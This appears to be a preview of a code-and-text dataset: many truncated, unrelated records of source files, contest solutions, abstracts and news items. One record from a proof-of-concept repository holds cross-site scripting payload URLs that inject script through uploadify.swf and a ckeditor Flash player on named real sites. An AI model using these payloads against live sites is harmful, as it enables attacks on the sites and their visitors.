content
stringlengths
10
4.9M
import json import logging import os from typing import Dict, List, Union from repro.common import TemporaryDirectory from repro.common.docker import make_volume_map, run_command from repro.data.types import MetricsType from repro.models import Model from repro.models.squad_v2 import DEFAULT_IMAGE, MODEL_NAME logger ...
# -*- coding: utf8 -*- """ ... """ from __future__ import absolute_import, division, print_function import logging from .base_stat_swfilter import BaseStatSWFilter class AlphaBetaSWFilter(BaseStatSWFilter): """ https://en.wikipedia.org/wiki/Alpha_beta_filter """ __logger = logging.getLogg...
Brace operations and Deligne's Conjecture for module-algebras It is observed that Kaygun's Hopf-Hochschild cochain complex for a module-algebra is a brace algebra with multiplication. As a result, (i) an analogue of Deligne's Conjecture holds for module-algebras, and (ii) the Hopf-Hochschild cohomology of a module-alg...
<reponame>gustavo-mendel/my-college-projects n = int(input()) arr = [int(e) for e in input().split()] c = int(input()) ans = 0 for e in arr: if e == c: ans -= e else: ans += e print(ans)
#include<stdio.h> int main() { int a[100000],b[100000]; int d[100000],e[100000]; int n,c; int i,j,l; scanf("%d%d",&n,&c); for(i=0;i<n;i++) scanf("%d",&a[i]); for(i=0;i<n;i++) scanf("%d",&b[i]); long long int c1=0; long long int c2=0; long long int k1=0; long long int k2=0; long long int...
import { FC, useEffect, } from 'react'; import { useHistory } from 'react-router-dom'; import { useGameState } from '../../contexts/gameController'; import { GamePhase } from '../../models/Allegiance'; const PhaseController: FC<{}> = () => { const history = useHistory() const state = useGameState(gameSta...
def save_fig(self, directory, filename=None): if filename: if os.path.splitext(filename)[1] == "": filename += '.html' else: filename = get_filename(self, ext='.html') save_plotly(self.fig, directory=directory, filename=filename)
// We are now processing a node void OsmLuaProcessing::setNode(NodeID id, LatpLon node, const std::map<std::string, std::string> &tags) { reset(); osmID = id; isWay = false; isRelation = false; setLocation(node.lon, node.latp, node.lon, node.latp); currentTags = tags; luaState["node_function"](this); if (!this-...
//should be done in the object thread void RemoteObject::onSocketDisconnected(std::string error) { close("Socket Disconnected", true); throw PointerLockException(); }
// HasJob returns if a jobName is loaded or not. func (jm *JobManager) HasJob(jobName string) (hasJob bool) { jm.Lock() _, hasJob = jm.jobs[jobName] jm.Unlock() return }
Habitat surveys as a tool to assess the benefits of stream rehabilitation II: macroinvertebrate communities Many streams in Europe have been physically degraded by human manipulation and habitats have consequently been lost (e.g. M0LLER 1995). In Denmark, cultivation o f farmland during the last century has resulted i...
epub ( Nook ) mobi ( kindle ) Load the Defcon schedule into your eBook reader. Combines FAQs / News / Talks / Maps v1 - Social Engineering Village, DEF CON Speakers, Workshops and DemoLabs, Packet Hacking Village Talks and Workshops, SkyTalks, Data Duplication Village, Blue Team Village, Blockchain & Cryptocurrency...
/** * A decorator over the {@link ILogToken} API that accepts a log token and routes all the calls * from the inner token that is used for creation of this class. * This could be potentially used for scenarios where you have to write a custom execution path * implementation and {@link com.microsoft.snippet.Snippet#...
Interview with Stelarc (January 16, 2008) The Cyborg Cometh: It begins with a sinister laugh. Beatific, knowing and bordering on rapture, it revels in the possibilities of imminence, of something significant and profound about to be revealed. While portentous of the unknown, it is at the same time a very familiar, ver...
from pulsar_spectra.catalogue import collect_catalogue_fluxes from pulsar_spectra.spectral_fit import iminuit_fit_spectral_model cat_list = collect_catalogue_fluxes() pulsar = 'J1453-6413' freqs, fluxs, flux_errs, refs = cat_list[pulsar] # Broken power law function is in the format # broken_power_law(v, vb, a1, a2, b...
/** * This function will display the choices to the user. * The value of the function will be the selection. **/ static int menu() { int choice; printf("\tStock Portfolio Management System\n\n"); printf("\t\tPlease make a selection\n\n"); printf("\t1 -- buy a stock\n"); printf("\t2 -- Sell a st...
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. package com.azure.cosmos.implementation.query.orderbyquery; import com.azure.cosmos.implementation.query.ItemComparator; import com.azure.cosmos.implementation.query.QueryItem; import com.azure.cosmos.implementation.query....
#!/usr/bin/env pypy3 def ans(A): count = [0]*25 for a in A: s = "{0:b}".format(a) s = list(s[::-1]) for i, e in enumerate(s): if e == '1': count[i] += 1 ret = 0 while sum(count): next = [0]*25 for i in range(25): if co...
def create(self): raise CloudantIndexException(101)
/** * A class to facilitate the detection of the most likely decryption key for a * cipher-text encrypted with the simple substitution cipher. * * @author Max Wood * @see Substitution */ public class ProbableSubstitutions { private final char[] FREQUENCY_ORDER; private final char[] ALPHABET; publ...
Magnitude-5.4 quake shakes southern Victoria Updated South-east Victoria has been rocked by more than 40 aftershocks after a magnitude-5.4 earthquake hit near Moe in Gippsland on Tuesday night. The tremor struck 16 kilometres west of Moe, but was felt in the centre of Melbourne and in suburbs across the city's west ...
/** * Option provider for RunDeck - see http://rundeck.org/docs/RunDeck-Guide.html#option-model-provider<br> * Provider for artifactId of artifacts presents in the Nexus repository, and matching the request. * * @author Vincent Behar */ @Singleton @Named("ArtifactIdOptionProvider") @Typed(PlexusResource.class) pu...
/** * This class is designed to hold the data to be plotted. * It is to be used in conjunction with the Graph2D class and Axis * class for plotting 2D graphs. * * @version $Revision: 1.4 $, $Date: 2006/01/19 14:45:51 $ * @author Leigh Brookshaw */ public class DataSet extends Object { /* *******************...
EXCLUSIVE: Warner Bros./DC’s Justice League made $13M last night per Warner Bros., which is where some of our more aggressive box office analysts saw it. Previews began at 6PM. Last night’s take is higher than the $11M minted by Wonder Woman before earning a $38.2M Friday ($103.3M opening). Based on these estimates, th...
def anonymise(pdf_form_data, label_key): pdf_form_data_removedlabel = copy.deepcopy(pdf_form_data) pdf_form_data_GENDERlabel = pdf_form_data_removedlabel.pop(label_key, None) try: pdf_form_data_GENDERlabel = pdf_form_data_GENDERlabel['/V'] keyvals_removedlabel = [(k, pdf_form_data_removedlab...
/** * LogFactory to create log4j compatible QF loggers. * * @author Neueda */ public class LogAdapterFactory implements LogFactory { private Level level; public LogAdapterFactory(Level level) { this.level = level; } @Override public Log create(SessionID sessionID) { return new...
// resize handles user screen/window changes. func (bb *bbtag) resize() { x, y, width, height := bb.eng.Size() bb.eng.Resize(x, y, width, height) bb.scene.SetPerspective(60, float64(width)/float64(height), 0.1, 50) }
#include <bits/stdc++.h> using namespace std; int q,x,n; string s,w; bool d[1000000],kt; int main() { ios::sync_with_stdio(false); cin>>q; while(q--) { cin>>s>>x; n=s.size(); s=' '+s; w=""; kt=0; for(int i=1;i<=n;i++) { w=w+'0'; ...
#!/usr/bin/python import os import sys import shutil import tempfile import ply.lex import ply.yacc tokens = ['token'] t_token = 'x' def t_error(t): pass def p_dummy(p): 'dummy : token' pass def p_error(p): pass def read_tabversion(filename): file = open(filename) data = {} try: ...
def ReadGraph_Flickr(file_address): start = time.time() print('Built Flickr graph begining', start, 's') G = nx.DiGraph() with open(file_address) as f: for line in f: if line[0] != '#': u, v = list(map(int, line.split(' '))) try: G[u][v]['weight'] += 1 except: G.add_edge(u,v, weight=1) p...
FAKTA Ou­lu-leh­ti teki kes­ki­vii­kon leh­des­sä jul­kais­tua jut­tua var­ten tie­to­pyyn­nön useil­le Ou­lus­sa toi­mi­vil­le op­pi­lai­tok­sil­le. Ylei­ses­ti tie­dot luo­vu­tet­tiin asi­an­mu­kai­ses­ti, mut­ta Ou­lun kon­ser­va­to­ri­os­ta to­det­tiin yks­kan­taan, et­tä tie­to­ja jou­tui­si odot­te­le­maan viik­...
Prediction of cardiac events after uncomplicated myocardial infarction: a prospective study comparing predischarge exercise thallium-201 scintigraphy and coronary angiography. The ability of predischarge quantitative exercise thallium-201 (201T1) scintigraphy to predict future cardiac events was evaluated prospectivel...
#[macro_use] extern crate lazy_static; #[macro_use] extern crate named_type_derive; #[macro_use] extern crate derivative; #[macro_use] extern crate serde_derive; #[macro_use] extern crate serde_json; extern crate byteorder; extern crate indyrs as indy; extern crate indyrs as api; extern crate ursa; extern crate uu...
package main type RegFile [32]uint32 func (r *RegFile) Read(address uint8) uint32 { return r[address] } func (r *RegFile) Write(address uint8, data uint32) { if address != 0 { r[address] = data } }
<reponame>csadsl/poc_exp #http://host.emlog.net/include/lib/js/uploadify/uploadify.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28/bugscan/%29}}// #http://www.phpcms.cn/statics/js/ckeditor/plugins/flashplayer/player/player.swf?skin=skin.swf%26stream%3D%5C%2522%29%29%7Dcatch%28e%29%7Balert%281%...
/** * Adds a new event manager to the system. */ public void addManager(FunctionManager<T, S> functionManager) { FunctionAPIIdentifier eventManagerID = functionManager.getID(); functionManagerMap.put(eventManagerID, functionManager); functionManager.markDirty(); if (this.disabl...
// SetTLSConfig sets the TLS configuration of client. func (c *Client) SetTLSConfig(tlsConfig *tls.Config) error { if v, ok := c.Transport.(*http.Transport); ok { v.TLSClientConfig = tlsConfig return nil } return gerror.NewCode(gerror.CodeInternalError, `cannot set TLSClientConfig for custom Transport of the cli...
/** * remove a listener * @param listenerToRemove to remove * @return the spring for chaining */ public Spring removeListener(SpringListener listenerToRemove) { if (listenerToRemove == null) { throw new IllegalArgumentException("listenerToRemove is required"); } mListeners.remove(listenerT...
The practice of organizing public hearings on the development of territories in municipalities of the Moscow region The article examines the practice of organizing public hearings on the development of territories on the example of urban districts of the Moscow region. The strengths and weaknesses of organizing public...
def _prepare_matrices_for_transitions(self): P = self.trigger.P M = self.M Q = self.Q dP = {k: m.T @ P @ m - P for k, m in M.items()} self._dP = dP MQM = {(i, j): mi.T @ qj @ mi for i, mi in M.items() for j, qj in Q.items()} if self.trigger.threshol...
// Ready checks whether all the process' ports are connected func (p *BaseProcess) Ready() (isReady bool) { isReady = true for portName, port := range p.inPorts { if !port.Ready() { Error.Printf("InPort %s of process %s is not connected - check your workflow code!\n", portName, p.name) isReady = false } } ...
<reponame>dan-obrien/sdx-deliver<filename>app/secret_manager.py from google.cloud import secretmanager import structlog logger = structlog.get_logger() def get_secret(project_id: str, secret_id: str) -> bytes: """ Makes API call to Google Secret Manager, retrieving secret. """ logger.info("Getting se...
<filename>genart/gen_photos.py import tensorflow as tf import numpy as np from pathlib import Path import re import glob def escape_path(p): return str(p).encode('unicode-escape').decode() class IndexedImageLoader: def __init__(self, format, expected_shape=None): self.format = Path(format) ...
import jsons, logging, sys from oauth2client import client import azure.functions as func def main(req: func.HttpRequest) -> func.HttpResponse: """ Handle a request from Google Chat @param req: The request object @return: The response object """ logging.info('Python HTTP trigger fun...
- Texas is looking into claims of voter fraud in Tarrant County. The investigation is focusing on mail-in ballots from the March primaries. Backers of stronger voter ID laws say this has been a problem for years. “There were signatures, the same person’s signature multiple times… three or four different times, where ...
/** * * @author Pedro Gomes <pedro.gomes@fccn.pt> * */ public class PageSearchOverlapDatesTest extends WebDriverTestBaseParallel { public PageSearchOverlapDatesTest(String os, String version, String browser, String deviceName, String deviceOrientation) { super(os, version, browser, deviceName, deviceOrienta...
#ifndef AUTOPILOTGLOBAL_TYPES_H #define AUTOPILOTGLOBAL_TYPES_H /* * File: AutopilotGlobal_types.h * * Real-Time Workshop code generated for Simulink model AutopilotGlobal. * * Model version : 1.13 * Real-Time Workshop file version : 7.6.1 (R2010bSP1) 28-Jan-2011 * Real-Time Worksho...
/* * @lc app=leetcode id=76 lang=cpp * * [76] Minimum Window Substring * * https://leetcode.com/problems/minimum-window-substring/description/ * * algorithms * Hard (29.59%) * Total Accepted: 214.9K * Total Submissions: 717.5K * Testcase Example: '"ADOBECODEBANC"\n"ABC"' * * Given a string S and a stri...
/** * Compiles the generated Jasmin code using the Jasmin tool. * * @return the compiled class file */ public File compile() { File outputDir = SpecsIo.getTempFolder("jasmin"); SpecsIo.deleteFolderContents(outputDir); return compile(outputDir); }
<filename>cruise-control-metrics-reporter/src/test/java/com/linkedin/kafka/cruisecontrol/metricsreporter/config/EnvConfigProviderTest.java /* * Copyright 2021 LinkedIn Corp. Licensed under the BSD 2-Clause License (the "License"). See License in the project root for license information. */ package com.linkedin.kafka....
Differential ovicidal and larvicidal resistance to benzoylureas in the codling moth, Cydia pomonella French populations of the codling moth Cydia pomonella (L.) (Lepidoptera, Tortricidae), a major pest in apple and pear orchards, have developed resistance to different classes of insecticides including the benzoylurea ...
def reset_password_by_sms(user): if not user.phone: raise APIError('User %s has no assigned phone number.' % user.username) token = AuthToken(token=random_string()) user = update_user(user, temp_token=token) link = 'http://recover.justyo.co/change.html?c=%s&u=%s' % ( user.temp_token.toke...
// DownloadAllGolangCILintVersions will download all known versions of golangci-lint to dest. // The downloaded binaries will be named as `golangci-lint-$version`, e.g. `golangci-lint-v1.31.0`. // If minVersion is not empty, any versions equal or lower to minVersion will not be installed. // Returns list of versions th...
<reponame>jaredparkinson/oith7<filename>oith7/src/app/services/link.service.ts import { Injectable } from '@angular/core'; import { FormatGroup } from '../../../../oith-lib/src/models/Chapter'; import { of, EMPTY } from 'rxjs'; import { filter, map, flatMap } from 'rxjs/operators'; import { Router } from '@angular/rout...
/** * Cancel the current matching - both the search and any displayed matches. */ public void cancel() { scheduler.cancel(); searchTask.cancelTask(); if (matchRenderer != null) { renderer.removeLineRenderer(matchRenderer); renderer.requestRenderLine(matchAnchor.getLine()); anchorMana...
a,b,c,d = map(int,input().split()) ans = -1e20 ans = max(ans,b*d,a*c) ans = max(ans,a*d,b*c) if a*b <= 0 or c*d <=0: ans = max(0,ans) print(ans)
<filename>factcast-factus/src/main/java/org/factcast/factus/snapshot/AggregateSnapshotRepositoryImpl.java /* * Copyright © 2017-2020 factcast.org * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the Lic...
/** * Terminate the Actor. The background thread will be interrupted, unprocessed messages will be passed to the afterStop * method, if exists. * Has no effect if the Actor is not started. * * @return this (the actor itself) to allow method chaining */ @Override public final Actor term...
/** * Function to generate cartesian array combinations * * @param sets Set of arrays to combine * @return Cartesian multiplication of arrays */ public static List<List<int[]>> combine(List<int[]>... sets) { int combinations = 1; List<List<int[]>> out = new ArrayList<>(); ...
It’s getting harder and harder to figure out which books Amazon.com will and will not sell. First there was last year’s banishment of gay fiction to the “adult section.” Then for the longest time it was willing to ship that how-to guide for pedophiles, until it wasn’t. Then came the removal of adult incest erotica, but...
// URLFor attempts to find a url which may be used to retrieve the file at the given path. func (ac *aliCDNStorageMiddleware) URLFor(ctx context.Context, path string, options map[string]interface{}) (string, error) { if ac.StorageDriver.Name() != "oss" { dcontext.GetLogger(ctx).Warn("the AliCDN middleware does not s...
Susan Rice: Too Many Smart White Guys on National Security Team Putting America at Risk Actual Black Person and National Security Advisor Susan Rice told graduates at Florida International University in a commencement speech a week or three ago that the presence of too many “white, male, and Yale” personnel in America...
input_text = list(map(int, input().split())) # print(input_text) target = int("".join(map(str,input_text))) # print(target) if target%4 == 0: print("YES") else: print("NO")
<gh_stars>0 from ad_api.base import Client, sp_endpoint, fill_query_params, ApiResponse class Snapshots(Client): """ Use the Amazon Advertising API for Sponsored Products for campaign, ad group, keyword, negative keyword, and product ad management operations. For more information about Sponsored Products, see ...
<reponame>pronitdas/tweakpane import {Controller} from '../../../common/controller/controller'; import {View} from '../../../common/view/view'; import {BladeController} from '../../common/controller/blade'; import {Blade} from '../../common/model/blade'; import {LabelProps, LabelView} from '../view/label'; interface C...
<reponame>hmiguel/sigc package lucene; import java.io.File; import org.apache.lucene.analysis.standard.StandardAnalyzer; import org.apache.lucene.index.IndexWriterConfig; import org.apache.lucene.search.spell.PlainTextDictionary; import org.apache.lucene.search.spell.SpellChecker; import org.apache.lucene.store.Direc...
<filename>pkg/runtime/rule/route.go /* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Vers...
<gh_stars>1000+ /* Copyright 2019 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed...
// TODO: 2018/1/4 reactive is not supported yet, omega context won't be updated on shared threads @Test public void passesOmegaContextThroughReactiveX() throws Exception { Flowable.just(user) .parallel() .runOn(Schedulers.io()) .doOnNext(new Consumer() { @Override publi...
import numpy as np import matplotlib as mpl import matplotlib.pyplot as plt from scipy import signal import pycqed.measurement.kernel_functions_ZI as ZI_kern mpl.rcParams['font.size'] = 12 mpl.rcParams['legend.fontsize'] = 12 mpl.rcParams['figure.titlesize'] = 'medium' # Settings fs = 2.4e9 time_start = -100e-9 ...
/* * Zed Attack Proxy (ZAP) and its related class files. * * ZAP is an HTTP/HTTPS proxy for assessing web application security. * * Copyright 2019 The ZAP Development Team * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * Yo...
//after the request is done, this method is being performed @Override protected void onPostExecute(Elevation elevation) { super.onPostExecute(elevation); googleElevation = elevation; String alt = String.format("%.2f m", elevation.getAltitude()); currentGoogleAltit...
'use strict'; import {inject, View, DetailAPI} from '../../../index'; import {ITaskData} from 'teambition'; @inject([ 'DetailAPI', '$filter' ]) export class EditRecurrenceView extends View { public detail: any; public recurrence = [ { name: '从不', recurrence: null, isSelected: false },...
Free-Space Optical Beam Steering for Wireless Communications The implementation of optical of wireless communications (OWC) requires the use of a light-emitting-diode (LED) or laser diode (LD). Due to significant path loss exhibited by these sources in an outdoor environment, an unobstructed point-to-point link must b...
/********************************************************************/ /* Below are the functions required by the PAPI component interface */ /********************************************************************/ static int _sde_init_component( int cidx ) { SUBDBG("_sde_init_component...\n"); _sde_vector.cmp_in...
/** * @author jluo * @date: 14 Jun 2019 */ @TestConfiguration public class DataStoreTestConfig { @Bean @Profile("offline") public HttpClient httpClient() { return Mockito.mock(HttpClient.class); } @Bean() @Profile("offline") public SolrClient solrClient() { return Mockit...
// SetValue writes the user's current provider client to the cache. func (cache *Cache) SetValue(cacheKey string, cacheValue *CacheItem) error { err := cache.all() if err != nil { return err } if cacheValue == nil { delete(cache.items, cacheKey) } else { cache.items[cacheKey] = *cacheValue } filename, err ...
def handle_listing(self, listing, resource_class): listing_object = extract_listing_data(listing) listing_object_dupe_check = models.Listing.objects.filter( system_id=listing_object.system_id) if listing_object_dupe_check: existing_listing_object = models.Listing.obje...
def drift(df: pd.DataFrame) -> np.ndarray: t = df.groupby('profile')['time'].first().astype('int64') // 1e9 dt = np.diff(t) x = df.groupby('profile')['lon'].first() * np.pi / 180 y = df.groupby('profile')['lat'].first() * np.pi / 180 ds = haversine_distance(x.values, y.values) ds_dt = np.zeros_l...
import unittest from cli import cli import os from translator import utils class TestCli(unittest.TestCase): os.chdir(utils.get_project_root_path()) def test_cli(self): cli.main(['--template-file', 'examples/small_nfv_example.yaml', '--validate-only']) def test_cli_change_wd(self): os....
<reponame>AlterionX/benxu.dev //! Errors that can occur while using the capability endpoints. pub(super) use diesel::result::Error as Diesel; /// Represents possible errors from using the database for capabilities. pub enum Error { /// Database errors of many kinds. DB(Diesel), /// Insufficient capabiliti...
Howdy, all! Just coming off a great weekend, great for sales (orbiting in and out of the Top 500 Kindles on Amazon), garnering great reviews (and one who was NOT a fan (sorry, dude)), and gathering some truly great numbers here on the blog (my highest number of hits EVAR). I really should hold contests and make dictate...
/** * Like {@link #contains(String, String, boolean)} but accepting {@code CharSequence} parameters. */ @GenIgnore default boolean contains(CharSequence name, CharSequence value, boolean caseInsensitive) { Predicate<String> predicate; if (caseInsensitive) { String valueAsString = value.toString();...
Five considerations now that Peyton Manning has told the San Francisco 49ers and Tennessee Titans he plans to sign with the Denver Broncos: Big sighs of relief: Arizona, Seattle and St. Louis no longer must worry about defending against a Manning-led 49ers offense. A healthy Manning would have made the 49ers even more...
<reponame>latonaio/sap-api-integrations-physical-inventory-document-reads<filename>SAP_API_Caller/responses/header.go package responses type Header struct { D struct { Results []struct { Metadata struct { ID string `json:"id"` URI string `json:"uri"` Type string `json:"type"` Etag string `json...
Effect of Rare Earth Cerium Content on Manganese Sulfide in U75V Heavy Rail Steel : To study the effect of Ce on the morphology of manganese sulfide, we added different contents of Ce into U75V heavy rail steel. The composition and morphology of sulfide in steel were analyzed. The inclusions’ number, size, and aspect rat...
<reponame>dreycat/SomaOS export const deepClone = (x: any) => JSON.parse(JSON.stringify(x));
package com.corpus.service; import net.sf.json.JSONArray; public interface TrainingService { //生成训练集和测试集 public String getSet(JSONArray jsonArray); //只生成不导出 //生成+导出 }
<filename>documents/cFiles/operatingSystems/sourceCode/chapter13/printinitoncetest.c #include <stdio.h> int printinitonce(void); extern int var; int main(void) { printinitonce(); printf("var is %d\n",var); printinitonce(); printf("var is %d\n",var); printinitonce(); printf("var is %d\n",var); r...
/** * Created by Artem Godin on 3/25/2020. */ public final class DisconnectProductionLoggerFactorySubstitution { private static final Logger productionLogger = new DisconnectProductionLogger(); private static final ILoggerFactory productionLoggerFactory = new DisconnectProductionLoggerFactory(); private Disco...
def upload_artifact_content(self, origin, container, attachment_name, content=None, index=None, append=None, is_async=False): return self._execute_with_workspace_arguments(self._client.artifact.upload, origin=origin, ...
Copyright by WAVY - All rights reserved The scene off Lynnhaven Parkway Copyright by WAVY - All rights reserved The scene off Lynnhaven Parkway WAVY Staff - VIRGINIA BEACH, Va. (WAVY) -- Two people were killed during an officer-involved shooting in Virginia Beach. Police said a suspect shot at officers, who returned...
package http; import java.io.UnsupportedEncodingException; import java.util.ArrayList; import java.util.regex.Matcher; import java.util.regex.Pattern; import org.apache.commons.lang3.StringUtils; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class HttpRequest extends Http...
//***************************************************************************** // //! Returns the current value of the AV (Address Valid) flag. //! //! \param psSMBus specifies the SMBus configuration structure. //! //! This returns the value of the AV (Address Valid) flag. //! //! \return Returns \b true if set, or \...
def tfidfQuery(self,queryTerms,idf): tf_idfQuery = [] tfQuery = Counter(queryTerms) if len(queryTerms) == 0: return 0 for word in queryTerms: tfQuery[word] = 1+math.log(tfQuery[word]) tf_idfQuery.append(float(tfQuery[word])*idf[word]) n...
// Load loads a TOML file from path. func (c *Config) Load(path string) error { md, err := toml.DecodeFile(path, c) if err != nil { return err } if len(md.Undecoded()) > 0 { return errors.New("Unknown config keys in " + path) } if len(c.Incoming.AllowFrom) > 0 { subnets := make([]*net.IPNet, 0, len(c.Incomi...
For other people with the same name, see Fred Cox (disambiguation) Frederick William Cox is a former National Football League kicker who played for the Minnesota Vikings throughout his career (1963–1977). Early life [ edit ] Cox was raised in Monongahela, Pennsylvania, outside Pittsburgh. His parents owned and opera...
More than 200 people were arrested outside the White House Saturday following two weeks of protests directed at President Obama in an effort to persuade him to deny final permitting of a controversial 1,661-mile pipeline that would carry oil from Alberta, Canada, to Port Arthur, Tex. The arrests follow more than 1,000...
// workaround for zlib with cygwin build int _wopen (const char *path, int oflag, ...) { va_list ap; va_start (ap, oflag); int r = open (path, oflag, ap); va_end (ap); return r; }
def _parse_tensor_info_proto(tensor_info): encoding = tensor_info.WhichOneof("encoding") dtype = tf.DType(tensor_info.dtype) shape = tf.TensorShape(tensor_info.tensor_shape) if encoding == "name": return ParsedTensorInfo(dtype=dtype, shape=shape, is_sparse=False) elif encoding == "coo_sparse": return ...